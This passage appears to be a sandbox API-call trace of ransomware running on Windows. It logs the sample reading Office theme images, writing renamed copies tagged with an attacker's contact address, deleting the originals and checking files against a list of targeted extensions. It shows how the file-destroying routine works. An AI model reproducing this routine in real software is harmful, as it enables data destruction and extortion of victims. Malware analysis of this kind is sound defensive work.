	[0105.967] CloseHandle (hObject=0x1d8) returned 1
	[0105.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0105.967] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 1
	[0105.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74
	[0105.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74
	[0105.967] lstrlenW (lpString=".doc") returned 4
	[0105.968] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0105.968] lstrlenW (lpString=".docx") returned 5
	[0105.968] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0105.968] lstrlenW (lpString=".pdf") returned 4
	[0105.968] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0105.968] lstrlenW (lpString=".xls") returned 4
	[0105.968] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0105.968] lstrlenW (lpString=".xlsx") returned 5
	[0105.968] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0105.968] lstrlenW (lpString=".ppt") returned 4
	[0105.968] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0105.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74
	[0105.968] lstrlenW (lpString=".zip") returned 4
	[0105.968] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0105.968] lstrlenW (lpString=".rar") returned 4
	[0105.968] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0105.968] lstrlenW (lpString=".bz2") returned 4
	[0105.968] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0105.968] lstrlenW (lpString=".7z") returned 3
	[0105.968] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0105.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74
	[0105.968] lstrlenW (lpString=".dbf") returned 4
	[0105.968] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0105.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74
	[0105.968] lstrlenW (lpString=".1cd") returned 4
	[0105.968] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0105.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74
	[0105.968] lstrlenW (lpString=".jpg") returned 4
	[0105.968] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0105.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74
	[0105.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74
	[0105.968] lstrlenW (lpString=".doc") returned 4
	[0105.968] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0105.968] lstrlenW (lpString=".docx") returned 5
	[0105.968] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0105.968] lstrlenW (lpString=".pdf") returned 4
	[0105.968] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0105.969] lstrlenW (lpString=".xls") returned 4
	[0105.969] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0105.969] lstrlenW (lpString=".xlsx") returned 5
	[0105.969] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0105.969] lstrlenW (lpString=".ppt") returned 4
	[0105.969] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0105.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74
	[0105.969] lstrlenW (lpString=".zip") returned 4
	[0105.969] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0105.969] lstrlenW (lpString=".rar") returned 4
	[0105.969] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0105.969] lstrlenW (lpString=".bz2") returned 4
	[0105.969] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0105.969] lstrlenW (lpString=".7z") returned 3
	[0105.969] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0105.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74
	[0105.969] lstrlenW (lpString=".dbf") returned 4
	[0105.969] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0105.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74
	[0105.969] lstrlenW (lpString=".1cd") returned 4
	[0105.969] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0105.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74
	[0105.969] lstrlenW (lpString=".jpg") returned 4
	[0105.969] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0105.969] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0105.969] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0105.969] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0105.970] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=19563) returned 1
	[0105.970] CloseHandle (hObject=0x1d8) returned 1
	[0105.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 0x20
	[0105.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0105.970] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0105.970] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.970] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.970] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0105.970] GetLastError () returned 0x0
	[0105.970] ReadFile (in: hFile=0x1d8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x4c6b, lpOverlapped=0x0) returned 1
	[0106.020] WriteFile (in: hFile=0x1fc, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x4c70, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x4c70, lpOverlapped=0x0) returned 1
	[0106.021] ReadFile (in: hFile=0x1d8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0106.021] WriteFile (in: hFile=0x1fc, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0106.021] SetEndOfFile (hFile=0x1fc) returned 1
	[0106.022] CloseHandle (hObject=0x1fc) returned 1
	[0106.022] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.022] SetEndOfFile (hFile=0x1d8) returned 1
	[0106.023] CloseHandle (hObject=0x1d8) returned 1
	[0106.023] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0106.023] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 1
	[0106.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75
	[0106.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75
	[0106.023] lstrlenW (lpString=".doc") returned 4
	[0106.023] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0106.023] lstrlenW (lpString=".docx") returned 5
	[0106.023] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0106.023] lstrlenW (lpString=".pdf") returned 4
	[0106.023] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0106.023] lstrlenW (lpString=".xls") returned 4
	[0106.023] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0106.023] lstrlenW (lpString=".xlsx") returned 5
	[0106.023] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0106.023] lstrlenW (lpString=".ppt") returned 4
	[0106.024] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0106.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75
	[0106.024] lstrlenW (lpString=".zip") returned 4
	[0106.024] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0106.024] lstrlenW (lpString=".rar") returned 4
	[0106.024] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0106.024] lstrlenW (lpString=".bz2") returned 4
	[0106.024] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0106.024] lstrlenW (lpString=".7z") returned 3
	[0106.024] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0106.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75
	[0106.024] lstrlenW (lpString=".dbf") returned 4
	[0106.024] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0106.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75
	[0106.024] lstrlenW (lpString=".1cd") returned 4
	[0106.024] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0106.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75
	[0106.024] lstrlenW (lpString=".jpg") returned 4
	[0106.024] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0106.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75
	[0106.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75
	[0106.024] lstrlenW (lpString=".doc") returned 4
	[0106.024] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0106.024] lstrlenW (lpString=".docx") returned 5
	[0106.024] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0106.024] lstrlenW (lpString=".pdf") returned 4
	[0106.024] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0106.024] lstrlenW (lpString=".xls") returned 4
	[0106.024] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0106.024] lstrlenW (lpString=".xlsx") returned 5
	[0106.025] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0106.025] lstrlenW (lpString=".ppt") returned 4
	[0106.025] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0106.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75
	[0106.025] lstrlenW (lpString=".zip") returned 4
	[0106.025] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0106.025] lstrlenW (lpString=".rar") returned 4
	[0106.025] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0106.025] lstrlenW (lpString=".bz2") returned 4
	[0106.025] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0106.025] lstrlenW (lpString=".7z") returned 3
	[0106.025] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0106.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75
	[0106.025] lstrlenW (lpString=".dbf") returned 4
	[0106.025] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0106.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75
	[0106.025] lstrlenW (lpString=".1cd") returned 4
	[0106.025] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0106.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75
	[0106.025] lstrlenW (lpString=".jpg") returned 4
	[0106.025] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0106.025] lstrcmpiW (lpString1=".GIF", lpString2=".4k") returned 1
	[0106.025] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0106.025] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0106.026] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=3970) returned 1
	[0106.026] CloseHandle (hObject=0x1d8) returned 1
	[0106.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 0x20
	[0106.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0106.026] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0106.026] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.026] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.026] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0106.029] GetLastError () returned 0x0
	[0106.029] ReadFile (in: hFile=0x1d8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0xf82, lpOverlapped=0x0) returned 1
	[0106.086] WriteFile (in: hFile=0x1fc, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xf90, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf90, lpOverlapped=0x0) returned 1
	[0106.087] ReadFile (in: hFile=0x1d8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0106.087] WriteFile (in: hFile=0x1fc, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0106.087] SetEndOfFile (hFile=0x1fc) returned 1
	[0106.087] CloseHandle (hObject=0x1fc) returned 1
	[0106.088] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.088] SetEndOfFile (hFile=0x1d8) returned 1
	[0106.088] CloseHandle (hObject=0x1d8) returned 1
	[0106.089] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0106.089] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 1
	[0106.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76
	[0106.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76
	[0106.089] lstrlenW (lpString=".doc") returned 4
	[0106.089] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0106.089] lstrlenW (lpString=".docx") returned 5
	[0106.089] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0106.089] lstrlenW (lpString=".pdf") returned 4
	[0106.089] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0106.089] lstrlenW (lpString=".xls") returned 4
	[0106.089] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0106.089] lstrlenW (lpString=".xlsx") returned 5
	[0106.089] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0106.089] lstrlenW (lpString=".ppt") returned 4
	[0106.089] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0106.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76
	[0106.089] lstrlenW (lpString=".zip") returned 4
	[0106.089] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0106.090] lstrlenW (lpString=".rar") returned 4
	[0106.090] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0106.090] lstrlenW (lpString=".bz2") returned 4
	[0106.090] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0106.090] lstrlenW (lpString=".7z") returned 3
	[0106.090] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0106.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76
	[0106.090] lstrlenW (lpString=".dbf") returned 4
	[0106.090] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0106.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76
	[0106.090] lstrlenW (lpString=".1cd") returned 4
	[0106.090] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0106.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76
	[0106.090] lstrlenW (lpString=".jpg") returned 4
	[0106.090] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0106.090] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.090] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.091] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c
	[0106.390] GetLastError () returned 0x0
	[0106.390] ReadFile (in: hFile=0x1d8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0xa2c, lpOverlapped=0x0) returned 1
	[0106.406] WriteFile (in: hFile=0x21c, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xa30, lpOverlapped=0x0) returned 1
	[0106.409] ReadFile (in: hFile=0x1d8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0106.409] WriteFile (in: hFile=0x21c, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0106.409] SetEndOfFile (hFile=0x21c) returned 1
	[0106.409] CloseHandle (hObject=0x21c) returned 1
	[0106.409] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.409] SetEndOfFile (hFile=0x1d8) returned 1
	[0106.410] CloseHandle (hObject=0x1d8) returned 1
	[0106.410] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0106.410] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif")) returned 1
	[0106.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74
	[0106.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74
	[0106.410] lstrlenW (lpString=".doc") returned 4
	[0106.410] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0106.410] lstrlenW (lpString=".docx") returned 5
	[0106.410] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0106.411] lstrlenW (lpString=".pdf") returned 4
	[0106.411] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0106.411] lstrlenW (lpString=".xls") returned 4
	[0106.411] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0106.411] lstrlenW (lpString=".xlsx") returned 5
	[0106.411] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0106.411] lstrlenW (lpString=".ppt") returned 4
	[0106.411] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0106.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74
	[0106.411] lstrlenW (lpString=".zip") returned 4
	[0106.411] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0106.411] lstrlenW (lpString=".rar") returned 4
	[0106.411] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0106.411] lstrlenW (lpString=".bz2") returned 4
	[0106.411] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0106.411] lstrlenW (lpString=".7z") returned 3
	[0106.411] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0106.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74
	[0106.411] lstrlenW (lpString=".dbf") returned 4
	[0106.411] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0106.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74
	[0106.411] lstrlenW (lpString=".1cd") returned 4
	[0106.411] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0106.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74
	[0106.411] lstrlenW (lpString=".jpg") returned 4
	[0106.411] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0106.412] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.412] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
